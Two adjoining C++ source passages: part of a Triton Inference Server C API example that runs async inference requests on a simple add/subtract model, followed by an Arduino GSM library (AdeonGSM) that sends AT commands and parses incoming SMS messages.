TRITONSERVER_InferenceResponse* response, const uint32_t flags, void* userp) { if (response != nullptr) { // Send 'response' to the future. std::promise<TRITONSERVER_InferenceResponse*>* p = reinterpret_cast<std::promise<TRITONSERVER_InferenceResponse*>*>(userp); p->set_value(response); delete p; } } TRITONSERVER_Error* ParseModelMetadata( const rapidjson::Document& model_metadata, bool* is_int, bool* is_torch_model) { std::string seen_data_type; for (const auto& input : model_metadata["inputs"].GetArray()) { if (strcmp(input["datatype"].GetString(), "INT32") && strcmp(input["datatype"].GetString(), "FP32")) { return TRITONSERVER_ErrorNew( TRITONSERVER_ERROR_UNSUPPORTED, "simple lib example only supports model with data type INT32 or " "FP32"); } if (seen_data_type.empty()) { seen_data_type = input["datatype"].GetString(); } else if (strcmp(seen_data_type.c_str(), input["datatype"].GetString())) { return TRITONSERVER_ErrorNew( TRITONSERVER_ERROR_INVALID_ARG, "the inputs and outputs of 'simple' model must have the data type"); } } for (const auto& output : model_metadata["outputs"].GetArray()) { if (strcmp(output["datatype"].GetString(), "INT32") && strcmp(output["datatype"].GetString(), "FP32")) { return TRITONSERVER_ErrorNew( TRITONSERVER_ERROR_UNSUPPORTED, "simple lib example only supports model with data type INT32 or " "FP32"); } else if (strcmp(seen_data_type.c_str(), output["datatype"].GetString())) { return TRITONSERVER_ErrorNew( TRITONSERVER_ERROR_INVALID_ARG, "the inputs and outputs of 'simple' model must have the data type"); } } *is_int = (strcmp(seen_data_type.c_str(), "INT32") == 0); *is_torch_model = (strcmp(model_metadata["platform"].GetString(), "pytorch_libtorch") == 0); return nullptr; } template <typename T> void GenerateInputData( std::vector<char>* input0_data, std::vector<char>* input1_data) { input0_data->resize(16 * sizeof(T)); input1_data->resize(16 * sizeof(T)); for (size_t i = 0; i < 16; ++i) { ((T*)input0_data->data())[i] = i; ((T*)input1_data->data())[i] = 1; } } template <typename T> void CompareResult( const std::string& output0_name, const std::string& output1_name, const void* input0, const void* input1, const char* output0, const char* output1) { for (size_t i = 0; i < 16; ++i) { std::cout << ((T*)input0)[i] << " + " << ((T*)input1)[i] << " = " << ((T*)output0)[i] << std::endl; std::cout << ((T*)input0)[i] << " - " << ((T*)input1)[i] << " = " << ((T*)output1)[i] << std::endl; if ((((T*)input0)[i] + ((T*)input1)[i]) != ((T*)output0)[i]) { FAIL("incorrect sum in " + output0_name); } if ((((T*)input0)[i] - ((T*)input1)[i]) != ((T*)output1)[i]) { FAIL("incorrect difference in " + output1_name); } } } void Check( TRITONSERVER_InferenceResponse* response, const std::vector<char>& input0_data, const std::vector<char>& input1_data, const std::string& output0, const std::string& output1, const size_t expected_byte_size, const TRITONSERVER_DataType expected_datatype, const bool is_int) { std::unordered_map<std::string, std::vector<char>> output_data; uint32_t output_count; FAIL_IF_ERR( TRITONSERVER_InferenceResponseOutputCount(response, &output_count), "getting number of response outputs"); if (output_count != 2) { FAIL("expecting 2 response outputs, got " + std::to_string(output_count)); } for (uint32_t idx = 0; idx < output_count; ++idx) { const char* cname; TRITONSERVER_DataType datatype; const int64_t* shape; uint64_t dim_count; const void* base; size_t byte_size; TRITONSERVER_MemoryType memory_type; int64_t memory_type_id; void* userp; FAIL_IF_ERR( TRITONSERVER_InferenceResponseOutput( response, idx, &cname, &datatype, &shape, &dim_count, &base, &byte_size, &memory_type, &memory_type_id, &userp), "getting output info"); if (cname == nullptr) { FAIL("unable to get output name"); } std::string name(cname); if ((name != output0) && (name != output1)) { FAIL("unexpected output '" + name + "'"); } if ((dim_count != 2) || (shape[0] != 1) || (shape[1] != 16)) { FAIL("unexpected shape for '" + name + "'"); } if (datatype != expected_datatype) { FAIL( "unexpected datatype '" + std::string(TRITONSERVER_DataTypeString(datatype)) + "' for '" + name + "'"); } if (byte_size != expected_byte_size) { FAIL( "unexpected byte-size, expected " + std::to_string(expected_byte_size) + ", got " + std::to_string(byte_size) + " for " + name); } if (enforce_memory_type && (memory_type != requested_memory_type)) { FAIL( "unexpected memory type, expected to be allocated in " + std::string(TRITONSERVER_MemoryTypeString(requested_memory_type)) + ", got " + std::string(TRITONSERVER_MemoryTypeString(memory_type)) + ", id " + std::to_string(memory_type_id) + " for " + name); } // We make a copy of the data here... which we could avoid for // performance reasons but ok for this simple example. std::vector<char>& odata = output_data[name]; switch (memory_type) { case TRITONSERVER_MEMORY_CPU: { std::cout << name << " is stored in system memory" << std::endl; const char* cbase = reinterpret_cast<const char*>(base); odata.assign(cbase, cbase + byte_size); break; } case TRITONSERVER_MEMORY_CPU_PINNED: { std::cout << name << " is stored in pinned memory" << std::endl; const char* cbase = reinterpret_cast<const char*>(base); odata.assign(cbase, cbase + byte_size); break; } #ifdef TRITON_ENABLE_GPU case TRITONSERVER_MEMORY_GPU: { std::cout << name << " is stored in GPU memory" << std::endl; odata.reserve(byte_size); FAIL_IF_CUDA_ERR( cudaMemcpy(&odata[0], base, byte_size, cudaMemcpyDeviceToHost), "getting " + name + " data from GPU memory"); break; } #endif default: FAIL("unexpected memory type"); } } if (is_int) { CompareResult<int32_t>( output0, output1, &input0_data[0], &input1_data[0], output_data[output0].data(), output_data[output1].data()); } else { CompareResult<float>( output0, output1, &input0_data[0], &input1_data[0], output_data[output0].data(), output_data[output1].data()); } } } // namespace int main(int argc, char** argv) { std::string model_repository_path; int verbose_level = 0; // Parse commandline... int opt; while ((opt = getopt(argc, argv, "vm:r:")) != -1) { switch (opt) { case 'm': { enforce_memory_type = true; if (!strcmp(optarg, "system")) { requested_memory_type = TRITONSERVER_MEMORY_CPU; } else if (!strcmp(optarg, "pinned")) { requested_memory_type = TRITONSERVER_MEMORY_CPU_PINNED; } else if (!strcmp(optarg, "gpu")) { requested_memory_type = TRITONSERVER_MEMORY_GPU; } else { Usage( argv, "-m must be used to specify one of the following types:" " <\"system\"|\"pinned\"|gpu>"); } break; } case 'r': model_repository_path = optarg; break; case 'v': verbose_level = 1; break; case '?': Usage(argv); break; } } if (model_repository_path.empty()) { Usage(argv, "-r must be used to specify model repository path"); } #ifndef TRITON_ENABLE_GPU if (enforce_memory_type && requested_memory_type != TRITONSERVER_MEMORY_CPU) { Usage(argv, "-m can only be set to \"system\" without enabling GPU"); } #endif // TRITON_ENABLE_GPU // Check API version. This compares the API version of the // triton-server library linked into this application against the // API version of the header file used when compiling this // application. The API version of the shared library must be >= the // API version used when compiling this application. uint32_t api_version_major, api_version_minor; FAIL_IF_ERR( TRITONSERVER_ApiVersion(&api_version_major, &api_version_minor), "getting Triton API version"); if ((TRITONSERVER_API_VERSION_MAJOR != api_version_major) || (TRITONSERVER_API_VERSION_MINOR > api_version_minor)) { FAIL("triton server API version mismatch"); } // Create the option setting to use when creating the inference // server object. TRITONSERVER_ServerOptions* server_options = nullptr; FAIL_IF_ERR( TRITONSERVER_ServerOptionsNew(&server_options), "creating server options"); FAIL_IF_ERR( TRITONSERVER_ServerOptionsSetModelRepositoryPath( server_options, model_repository_path.c_str()), "setting model repository path"); FAIL_IF_ERR( TRITONSERVER_ServerOptionsSetLogVerbose(server_options, verbose_level), "setting verbose logging level"); FAIL_IF_ERR( TRITONSERVER_ServerOptionsSetBackendDirectory( server_options, "/opt/tritonserver/backends"), "setting backend directory"); FAIL_IF_ERR( TRITONSERVER_ServerOptionsSetRepoAgentDirectory( server_options, "/opt/tritonserver/repoagents"), "setting repository agent directory"); FAIL_IF_ERR( TRITONSERVER_ServerOptionsSetStrictModelConfig(server_options, true), "setting strict model configuration"); #ifdef TRITON_ENABLE_GPU double min_compute_capability = TRITON_MIN_COMPUTE_CAPABILITY; #else double min_compute_capability = 0; #endif // TRITON_ENABLE_GPU FAIL_IF_ERR( TRITONSERVER_ServerOptionsSetMinSupportedComputeCapability( server_options, min_compute_capability), "setting minimum supported CUDA compute capability"); // Create the server object using the option settings. The server // object encapsulates all the functionality of the Triton server // and allows access to the Triton server API. Typically only a // single server object is needed by an application, but it is // allowed to create multiple server objects within a single // application. After the server object is created the server // options can be deleted. TRITONSERVER_Server* server_ptr = nullptr; FAIL_IF_ERR( TRITONSERVER_ServerNew(&server_ptr, server_options), "creating server object"); FAIL_IF_ERR( TRITONSERVER_ServerOptionsDelete(server_options), "deleting server options"); // Use a shared_ptr to manage the lifetime of the server object. std::shared_ptr<TRITONSERVER_Server> server( server_ptr, TRITONSERVER_ServerDelete); // Wait until the server is both live and ready. The server will not // appear "ready" until all models are loaded and ready to receive // inference requests. size_t health_iters = 0; while (true) { bool live, ready; FAIL_IF_ERR( TRITONSERVER_ServerIsLive(server.get(), &live), "unable to get server liveness"); FAIL_IF_ERR( TRITONSERVER_ServerIsReady(server.get(), &ready), "unable to get server readiness"); std::cout << "Server Health: live " << live << ", ready " << ready << std::endl; if (live && ready) { break; } if (++health_iters >= 10) { FAIL("failed to find healthy inference server"); } std::this_thread::sleep_for(std::chrono::milliseconds(500)); } // Server metadata can be accessed using the server object. The // metadata is returned as an abstract TRITONSERVER_Message that can // be converted to JSON for further processing. { TRITONSERVER_Message* server_metadata_message; FAIL_IF_ERR( TRITONSERVER_ServerMetadata(server.get(), &server_metadata_message), "unable to get server metadata message"); const char* buffer; size_t byte_size; FAIL_IF_ERR( TRITONSERVER_MessageSerializeToJson( server_metadata_message, &buffer, &byte_size), "unable to serialize server metadata message"); std::cout << "Server Metadata:" << std::endl; std::cout << std::string(buffer, byte_size) << std::endl; FAIL_IF_ERR( TRITONSERVER_MessageDelete(server_metadata_message), "deleting server metadata message"); } const std::string model_name("simple"); // We already waited for the server to be ready, above, so we know // that all models are also ready. But as an example we also wait // for a specific model to become available. bool is_torch_model = false; bool is_int = true; bool is_ready = false; health_iters = 0; while (!is_ready) { FAIL_IF_ERR( TRITONSERVER_ServerModelIsReady( server.get(), model_name.c_str(), 1 /* model_version */, &is_ready), "unable to get model readiness"); if (!is_ready) { if (++health_iters >= 10) { FAIL("model failed to be ready in 10 iterations"); } std::this_thread::sleep_for(std::chrono::milliseconds(500)); continue; } TRITONSERVER_Message* model_metadata_message; FAIL_IF_ERR( TRITONSERVER_ServerModelMetadata( server.get(), model_name.c_str(), 1, &model_metadata_message), "unable to get model metadata message"); const char* buffer; size_t byte_size; FAIL_IF_ERR( TRITONSERVER_MessageSerializeToJson( model_metadata_message, &buffer, &byte_size), "unable to serialize model metadata"); // Parse the JSON string that represents the model metadata into a // JSON document. We use rapidjson for this parsing but any JSON // parser can be used. rapidjson::Document model_metadata; model_metadata.Parse(buffer, byte_size); if (model_metadata.HasParseError()) { FAIL( "error: failed to parse model metadata from JSON: " + std::string(GetParseError_En(model_metadata.GetParseError())) + " at " + std::to_string(model_metadata.GetErrorOffset())); } FAIL_IF_ERR( TRITONSERVER_MessageDelete(model_metadata_message), "deleting model metadata message"); // Now that we have a document representation of the model // metadata, we can query it to extract some information about the // model. if (strcmp(model_metadata["name"].GetString(), model_name.c_str())) { FAIL("unable to find metadata for model"); } bool found_version = false; if (model_metadata.HasMember("versions")) { for (const auto& version : model_metadata["versions"].GetArray()) { if (strcmp(version.GetString(), "1") == 0) { found_version = true; break; } } } if (!found_version) { FAIL("unable to find version 1 status for model"); } FAIL_IF_ERR( ParseModelMetadata(model_metadata, &is_int, &is_torch_model), "parsing model metadata"); } // When triton needs a buffer to hold an output tensor, it will ask // us to provide the buffer. In this way we can have any buffer // management and sharing strategy that we want. To communicate to // triton the functions that we want it to call to perform the // allocations, we create a "response allocator" object. We pass // this response allocate object to triton when requesting // inference. We can reuse this response allocate object for any // number of inference requests. TRITONSERVER_ResponseAllocator* allocator = nullptr; FAIL_IF_ERR( TRITONSERVER_ResponseAllocatorNew( &allocator, ResponseAlloc, ResponseRelease, nullptr /* start_fn */), "creating response allocator"); // Create an inference request object. The inference request object // is where we set the name of the model we want to use for // inference and the input tensors. TRITONSERVER_InferenceRequest* irequest = nullptr; FAIL_IF_ERR( TRITONSERVER_InferenceRequestNew( &irequest, server.get(), model_name.c_str(), -1 /* model_version */), "creating inference request"); FAIL_IF_ERR( TRITONSERVER_InferenceRequestSetId(irequest, "my_request_id"), "setting ID for the request"); FAIL_IF_ERR( TRITONSERVER_InferenceRequestSetReleaseCallback( irequest, InferRequestComplete, nullptr /* request_release_userp */), "setting request release callback"); // Add the 2 input tensors to the request... auto input0 = "INPUT0"; auto input1 = "INPUT1"; std::vector<int64_t> input0_shape({1, 16}); std::vector<int64_t> input1_shape({1, 16}); const TRITONSERVER_DataType datatype = (is_int) ? TRITONSERVER_TYPE_INT32 : TRITONSERVER_TYPE_FP32; FAIL_IF_ERR( TRITONSERVER_InferenceRequestAddInput( irequest, input0, datatype, &input0_shape[0], input0_shape.size()), "setting input 0 meta-data for the request"); FAIL_IF_ERR( TRITONSERVER_InferenceRequestAddInput( irequest, input1, datatype, &input1_shape[0], input1_shape.size()), "setting input 1 meta-data for the request"); auto output0 = is_torch_model ? "OUTPUT__0" : "OUTPUT0"; auto output1 = is_torch_model ? "OUTPUT__1" : "OUTPUT1"; // Indicate that we want both output tensors calculated and returned // for the inference request. These calls are optional, if no // output(s) are specifically requested then all outputs defined by // the model will be calculated and returned. FAIL_IF_ERR( TRITONSERVER_InferenceRequestAddRequestedOutput(irequest, output0), "requesting output 0 for the request"); FAIL_IF_ERR( TRITONSERVER_InferenceRequestAddRequestedOutput(irequest, output1), "requesting output 1 for the request"); // Create the data for the two input tensors. Initialize the first // to unique values and the second to all ones. std::vector<char> input0_data; std::vector<char> input1_data; if (is_int) { GenerateInputData<int32_t>(&input0_data, &input1_data); } else { GenerateInputData<float>(&input0_data, &input1_data); } size_t input0_size = input0_data.size(); size_t input1_size = input1_data.size(); const void* input0_base = &input0_data[0]; const void* input1_base = &input1_data[0]; #ifdef TRITON_ENABLE_GPU std::unique_ptr<void, decltype(cuda_data_deleter)> input0_gpu( nullptr, cuda_data_deleter); std::unique_ptr<void, decltype(cuda_data_deleter)> input1_gpu( nullptr, cuda_data_deleter); bool use_cuda_memory = (enforce_memory_type && (requested_memory_type != TRITONSERVER_MEMORY_CPU)); if (use_cuda_memory) { FAIL_IF_CUDA_ERR(cudaSetDevice(0), "setting CUDA device to device 0"); if (requested_memory_type != TRITONSERVER_MEMORY_CPU_PINNED) { void* dst; FAIL_IF_CUDA_ERR( cudaMalloc(&dst, input0_size), "allocating GPU memory for INPUT0 data"); input0_gpu.reset(dst); FAIL_IF_CUDA_ERR( cudaMemcpy(dst, &input0_data[0], input0_size, cudaMemcpyHostToDevice), "setting INPUT0 data in GPU memory"); FAIL_IF_CUDA_ERR( cudaMalloc(&dst, input1_size), "allocating GPU memory for INPUT1 data"); input1_gpu.reset(dst); FAIL_IF_CUDA_ERR( cudaMemcpy(dst, &input1_data[0], input1_size, cudaMemcpyHostToDevice), "setting INPUT1 data in GPU memory"); } else { void* dst; FAIL_IF_CUDA_ERR( cudaHostAlloc(&dst, input0_size, cudaHostAllocPortable), "allocating pinned memory for INPUT0 data"); input0_gpu.reset(dst); FAIL_IF_CUDA_ERR( cudaMemcpy(dst, &input0_data[0], input0_size, cudaMemcpyHostToHost), "setting INPUT0 data in pinned memory"); FAIL_IF_CUDA_ERR( cudaHostAlloc(&dst, input1_size, cudaHostAllocPortable), "allocating pinned memory for INPUT1 data"); input1_gpu.reset(dst); FAIL_IF_CUDA_ERR( cudaMemcpy(dst, &input1_data[0], input1_size, cudaMemcpyHostToHost), "setting INPUT1 data in pinned memory"); } } input0_base = use_cuda_memory ? input0_gpu.get() : &input0_data[0]; input1_base = use_cuda_memory ? input1_gpu.get() : &input1_data[0]; #endif // TRITON_ENABLE_GPU FAIL_IF_ERR( TRITONSERVER_InferenceRequestAppendInputData( irequest, input0, input0_base, input0_size, requested_memory_type, 0 /* memory_type_id */), "assigning INPUT0 data"); FAIL_IF_ERR( TRITONSERVER_InferenceRequestAppendInputData( irequest, input1, input1_base, input1_size, requested_memory_type, 0 /* memory_type_id */), "assigning INPUT1 data"); // Perform inference by calling TRITONSERVER_ServerInferAsync. This // call is asychronous and therefore returns immediately. The // completion of the inference and delivery of the response is done // by triton by calling the "response complete" callback functions // (InferResponseComplete in this case). { auto p = new std::promise<TRITONSERVER_InferenceResponse*>(); std::future<TRITONSERVER_InferenceResponse*> completed = p->get_future(); FAIL_IF_ERR( TRITONSERVER_InferenceRequestSetResponseCallback( irequest, allocator, nullptr /* response_allocator_userp */, InferResponseComplete, reinterpret_cast<void*>(p)), "setting response callback"); FAIL_IF_ERR( TRITONSERVER_ServerInferAsync( server.get(), irequest, nullptr /* trace */), "running inference"); // The InferResponseComplete function sets the std::promise so // that this thread will block until the response is returned. TRITONSERVER_InferenceResponse* completed_response = completed.get(); FAIL_IF_ERR( TRITONSERVER_InferenceResponseError(completed_response), "response status"); Check( completed_response, input0_data, input1_data, output0, output1, input0_size, datatype, is_int); FAIL_IF_ERR( TRITONSERVER_InferenceResponseDelete(completed_response), "deleting inference response"); } // The TRITONSERVER_InferenceRequest object can be reused for // multiple (sequential) inference requests. For example, if we have // multiple requests where the inference request is the same except // for different input tensor data, then we can just change the // input data buffers. Below some input data is changed in place and // then another inference request is issued. For simplicity we only // do this when the input tensors are in non-pinned system memory. if (!enforce_memory_type || (requested_memory_type == TRITONSERVER_MEMORY_CPU)) { if (is_int) { int32_t* input0_base = reinterpret_cast<int32_t*>(&input0_data[0]); input0_base[0] = 27; } else { float* input0_base = reinterpret_cast<float*>(&input0_data[0]); input0_base[0] = 27.0; } auto p = new std::promise<TRITONSERVER_InferenceResponse*>(); std::future<TRITONSERVER_InferenceResponse*> completed = p->get_future(); // Using a new promise so have to re-register the callback to set // the promise as the userp. FAIL_IF_ERR( TRITONSERVER_InferenceRequestSetResponseCallback( irequest, allocator, nullptr /* response_allocator_userp */, InferResponseComplete, reinterpret_cast<void*>(p)), "setting response callback"); FAIL_IF_ERR( TRITONSERVER_ServerInferAsync( server.get(), irequest, nullptr /* trace */), "running inference"); TRITONSERVER_InferenceResponse* completed_response = completed.get(); FAIL_IF_ERR( TRITONSERVER_InferenceResponseError(completed_response), "response status"); Check( completed_response, input0_data, input1_data, output0, output1, input0_size, datatype, is_int); FAIL_IF_ERR( TRITONSERVER_InferenceResponseDelete(completed_response), "deleting inference response"); } // There are other TRITONSERVER_InferenceRequest APIs that allow // other in-place modifications so that the object can be reused for // multiple (sequential) inference requests. For example, we can // assign a new data buffer for an input by first removing the // existing data with // TRITONSERVER_InferenceRequestRemoveAllInputData. { FAIL_IF_ERR( TRITONSERVER_InferenceRequestRemoveAllInputData(irequest, input0), "removing INPUT0 data"); FAIL_IF_ERR( TRITONSERVER_InferenceRequestAppendInputData( irequest, input0, input1_base, input1_size, requested_memory_type, 0 /* memory_type_id */), "assigning INPUT1 data to INPUT0"); auto p = new std::promise<TRITONSERVER_InferenceResponse*>(); std::future<TRITONSERVER_InferenceResponse*> completed = p->get_future(); // Using a new promise so have to re-register the callback to set // the promise as the userp. FAIL_IF_ERR( TRITONSERVER_InferenceRequestSetResponseCallback( irequest, allocator, nullptr /* response_allocator_userp */, InferResponseComplete, reinterpret_cast<void*>(p)), "setting response callback"); FAIL_IF_ERR( TRITONSERVER_ServerInferAsync( server.get(), irequest, nullptr /* trace */), "running inference"); TRITONSERVER_InferenceResponse* completed_response = completed.get(); FAIL_IF_ERR( TRITONSERVER_InferenceResponseError(completed_response), "response status"); // Both inputs are using input1_data... Check( completed_response, input1_data, input1_data, output0, output1, input0_size, datatype, is_int); FAIL_IF_ERR( TRITONSERVER_InferenceResponseDelete(completed_response), "deleting inference response"); } FAIL_IF_ERR( TRITONSERVER_InferenceRequestDelete(irequest), "deleting inference request"); FAIL_IF_ERR( TRITONSERVER_ResponseAllocatorDelete(allocator), "deleting response allocator"); return 0; }
/** * @file SIMlib.cpp * Project AdeonGSM * @brief Adeon library for GSM modules * @author JSC electronics * License Apache-2.0 - Copyright (c) 2019 JSC electronics * * Copyright (c) 2019 JSC electronics * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "utility/SIMlib.h" #ifdef HW_SERIAL /** * @brief Constructor for the class GSM. * @param baudrate for Serial2 (default 9600) * Creat instances of parser and serial hanfler. */ GSM::GSM(long baud){ #ifdef ESP32 Serial2.begin(DEFAULT_BAUD_RATE, SERIAL_8N1, RX, TX); #else Serial2.begin(baud); #endif _pSerialHandler = new SerialHandler(&Serial2); _pParser = new ParserGSM(_pSerialHandler, &_newMsg, &_lastMsgIndex); _pPhoneBuffer = _pParser->getPointPhoneBuf(); } #endif /** * @brief Constructor for the class GSM. * @param RX and TX pins, baudrate (default 9600) * Create instances of parser and serial handler. */ GSM::GSM(uint8_t rx, uint8_t tx, long baud) { Stream *pGsmSerial = nullptr; #ifdef SW_SERIAL #ifdef ESP8266 pGsmSerial = new SoftwareSerial(); ((SoftwareSerial*) pGsmSerial)->begin(baud, SWSERIAL_8N1, rx, tx, false, RX_BUF_SIZE, 0); #else pGsmSerial = new SoftwareSerial(rx, tx); ((SoftwareSerial*) pGsmSerial)->begin(baud); #endif #else #ifdef ESP32 Serial2.begin(baud, SERIAL_8N1, rx, tx); #else Serial2.begin(baud); #endif pGsmSerial = &Serial2; #endif _pSerialHandler = new SerialHandler(pGsmSerial); _pParser = new ParserGSM(_pSerialHandler, &_newMsg, &_lastMsgIndex); _pPhoneBuffer = _pParser->getPointPhoneBuf(); } /** * @brief Constructor for the class GSM. * @param pGsmSerial is a pointer to Serial object * Creat instances of parser and serial hanfler. */ GSM::GSM(Stream* pGsmSerial) { _pSerialHandler = new SerialHandler(pGsmSerial); _pParser = new ParserGSM(_pSerialHandler, &_newMsg, &_lastMsgIndex); _pPhoneBuffer = _pParser->getPointPhoneBuf(); } /** * @brief Checks for incoming SMS. Checks serial for new incoming message. If message is detected, it starts to checks its validity. If message is valid phone number and message text are parsed. When the message is processed, SMS is deleted from GSM buffer. If GSM buffer keeps more than 10 SMS, whole buffer will be deleted. */ void GSM::checkGsmOutput(){ _pSerialHandler->periodicSerialCheck(); //check if SMS is received if(_pSerialHandler->isRxBufferAvailable()){ if(_pParser->identifyIncomingMsg(incomingSms)){ if(sendCommand(_pParser->makeDynamicCmd(smsReading, _lastMsgIndex))){ _pParser->getPhoneNumber(); _pParser->getMsg(); _pMsgBuffer = _pParser->getPointMsgBuf(); if(_lastMsgIndex > 10){ deleteMsgGsmStack(); } else{ deleteMsg(); } } else{ Serial.println(F("ERR")); deleteMsgGsmStack(); } } } _pSerialHandler->setRxBufferAvailability(false); } /** * @brief Returns new message availability. * @return _newMsg <code>true</code> if new message is available, <code>false</code> otherwise. */ bool GSM::isNewMsgAvailable(){ return _newMsg; } /** * @brief Returns pointer to message buffer array. * @return _pMsgBuffer is a pointer to an array. */ char* GSM::getMsg(){ _newMsg = false; //sms is returned, preparing logical variable for new msg return _pMsgBuffer; } /** * @brief Returns pointer to phone number buffer array. * @return _phoneBuffer is a pointer to an array. */ char* GSM::getPhoneNum(){ return _pPhoneBuffer; } /** * @brief Sets GSM module. * Performs standard AT test, sets GSM mode and message in plain text */ void GSM::begin(){ while(sendCommand(basicCommand) != true){ delay(1000); Serial.println(F("GSM IS OFFLINE")); } Serial.println(F("GSM IS ONLINE")); delay(1000); while(sendCommand(gsmMode) != true){ delay(1000); Serial.println(F("CONFIG FAILED")); } Serial.println(F("GSM IS CONFIGURED")); delay(1000); while(sendCommand(plainTextMode) != true){ delay(1000); Serial.println(F("MSG SETTING FAILED")); } Serial.println(F("MSG SET TO TEXT")); delay(1000); } /** * @brief Send command from parameter to serial. * @param cmd is an pointer to a command array. * @return _pParser->getResponse(confirmFeedback) <code>true</code> if GSM answers OK, <code>false</code> otherwise. */ bool GSM::sendCommand(const char* cmd){ _pSerialHandler->serialWrite(cmd); return _pParser->getResponse(confirmFeedback); } /** * @brief Send command from deleting message from GSM buffer. */ void GSM::deleteMsg(){ if(sendCommand(_pParser->makeDynamicCmd(deleteSms, _lastMsgIndex))){ Serial.println(F("MSG DELETED")); _lastMsgIndex--; } else{ Serial.println(F("DELETE ERR")); } } /** * @brief Send command from deleting messages from GSM buffer until it won't be empty. */ void GSM::deleteMsgGsmStack(){ while(_lastMsgIndex != 0){ deleteMsg(); } } /** * @brief Constructor for nested class ParserGSM. * @param pSerialHandler is a pointer to SerialHandler object * @param newMsg is a pointer to logical variable * @param lastMsgIndex is a pointer to GSM buffer number of last message */ GSM::ParserGSM::ParserGSM(GSM::SerialHandler* pSerialHandler, bool* newMsg, uint8_t* lastMsgIndex){ _pSerialHandler = pSerialHandler; _pNewMsg = newMsg; _pLastMsgIndex = lastMsgIndex; } /** * @brief Checks reaction of GSM to AT command. * @param searchedChar is a pointer to string * @return <code>true</code> if GSM answer is the same like searchedChar, <code>false</code> otherwise. */ bool GSM::ParserGSM::getResponse(const char* searchedChar){ _pSerialHandler->feedbackSerialCheck(); _pRxBuffer = _pSerialHandler->getRxBufferP(); if(_pSerialHandler->isRxBufferAvailable()){ if(strstr(_pRxBuffer, "OK") != nullptr){ _pSerialHandler->setRxBufferAvailability(false); return true; } else{ return false; } } return false; } /** * @brief Gets a message from a new message from the GSM output. */ void GSM::ParserGSM::getMsg(){ _pRxBuffer = _pSerialHandler->getRxBufferP(); char* tmpStr = strrchr(_pRxBuffer, '\"') + 3; //if semicolon is not present, message is not valid if(strrchr(tmpStr, ';') != nullptr){ char* endMsgPointer = strrchr(tmpStr, ';') + 1; uint8_t counter = 0; if(_msgBuffer != nullptr){ free(_msgBuffer); } _msgBuffer = (char*)malloc(strlen(tmpStr) - strlen(endMsgPointer) + 1); while(&tmpStr[counter] != endMsgPointer){ _msgBuffer[counter] = tmpStr[counter]; counter++; } _msgBuffer[counter] = '\0'; *_pNewMsg = true; } } /** * @brief Gets a phone number from a new message from the GSM output. */ void GSM::ParserGSM::getPhoneNumber(){ _pRxBuffer = _pSerialHandler->getRxBufferP(); char* tmpStr = strstr(_pRxBuffer, "\"+") + 2; char* endMsgPointer = strstr(tmpStr, "\",\"\",\""); uint8_t counter = 0; memset(_phoneBuffer, 0, sizeof(_phoneBuffer)); while(&tmpStr[counter] != endMsgPointer){ _phoneBuffer[counter] = tmpStr[counter]; counter++; } _phoneBuffer[counter] = '\0'; } /** * @brief Gets a pointer to message buffer * @return _msgBuffer is a pointer to an array. */ char* GSM::ParserGSM::getPointMsgBuf(){ return _msgBuffer; } /** * @brief Gets a pointer to phone number buffer * * @return _phoneBuffer is a pointer to an array. */ char* GSM::ParserGSM::getPointPhoneBuf(){ return _phoneBuffer; } /** * @brief Identifies if new message is on the GSM output * @param command is a pointer to searching command * @return <code>true</code> if new message is on the GSM output, <code>false</code> otherwise. */ bool GSM::ParserGSM::identifyIncomingMsg(const char* command){ _pRxBuffer = _pSerialHandler->getRxBufferP(); char *tmpStr = strstr(_pRxBuffer, command); if(tmpStr != nullptr){ if(strncmp(tmpStr, incomingSms, strlen(incomingSms)) == 0){ *_pLastMsgIndex = GetIndex(tmpStr, ','); _pSerialHandler->setRxBufferAvailability(false); return true; } } _pSerialHandler->setRxBufferAvailability(false); return false; } /** * @brief Make dynamic command (str + num) * @param command is a pointer to command string * @param id is a pointer to number which is related to the command * @return _cmdBuffer - pointer to _cmdBuffer. */ char* GSM::ParserGSM::makeDynamicCmd(const char* command, uint8_t id){ if(_cmdBuffer != nullptr){ free(_cmdBuffer); } //+ 3 – array cells for 2 digit number and end char _cmdBuffer = (char*)malloc(strlen(command) + 3); strcpy(_cmdBuffer, command); sprintf(&_cmdBuffer[strlen(command)], "%d", id); _cmdBuffer[strlen(command) + 2] = '\0'; return _cmdBuffer; } /** * @brief Gets index of incoming message * @param buffer is pointer to buffer which is carring the GSM output * @param startSym is a start symbol character * @return (uint8_t)atoi(tmpStr) - convert string to uint8_t */ uint8_t GSM::ParserGSM::GetIndex(char* buffer, char startSym){ char *tmpStr = strchr(buffer, startSym) + 1; uint8_t indexLenCount = 0; while(tmpStr[indexLenCount] >= 0x31 && tmpStr[indexLenCount] <= 0x39){ indexLenCount++; } tmpStr[indexLenCount] = '\0'; return (uint8_t)atoi(tmpStr); } /** * @brief Constructor for the nested class SerialHandler. * @param pGsmSerial is a pointer to Serial object */ GSM::SerialHandler::SerialHandler(Stream* pGsmSerial){ _pGsmSerial = pGsmSerial; } /** * @brief Writes command to serial. * @param command is a pointer to command constant */ void GSM::SerialHandler::serialWrite(const char* command){ _periodicReading = false; _pGsmSerial->println(command); _pGsmSerial->flush(); delay(200); _periodicReading = true; } /** * @brief Method which is able to periodicaly (150 ms) read serial output. * Searching for incoming GSM output */ void GSM::SerialHandler::periodicSerialCheck(){ if(_periodicReading){ if(_periodicReadingFlag){ _lastReadTime = millis(); _periodicReadingFlag = false; } if((millis() - _lastReadTime) >= PERIODIC_READ_TIME){ uint16_t var; var = _pGsmSerial->available(); delay(100); if(var > 0 && _periodicReading){ serialRead(var); } _periodicReadingFlag = true; } } } /** * @brief Checks serial for feedback of GSM module to AT commands */ void GSM::SerialHandler::feedbackSerialCheck(){ unsigned long timeFlag = millis(); while(millis() < (timeFlag + 1000)){ uint16_t var; var = _pGsmSerial->available(); delay(100); if(var > 0){ serialRead(var); break; } } } /** * @brief Gets pointer to rx buffer * @return _rxBuffer is a pointer to _rxBuffer */ char* GSM::SerialHandler::getRxBufferP(){ return _rxBuffer; } /** * @brief Availability of rx buffer * @return _rxBufferAvailable <code>true</code> if rx buffer is available, <code>false</code> otherwise. */ bool GSM::SerialHandler::isRxBufferAvailable(){ return _rxBufferAvailable; } /** * @brief Sets rx buffer state * @param var is a logical state */ void 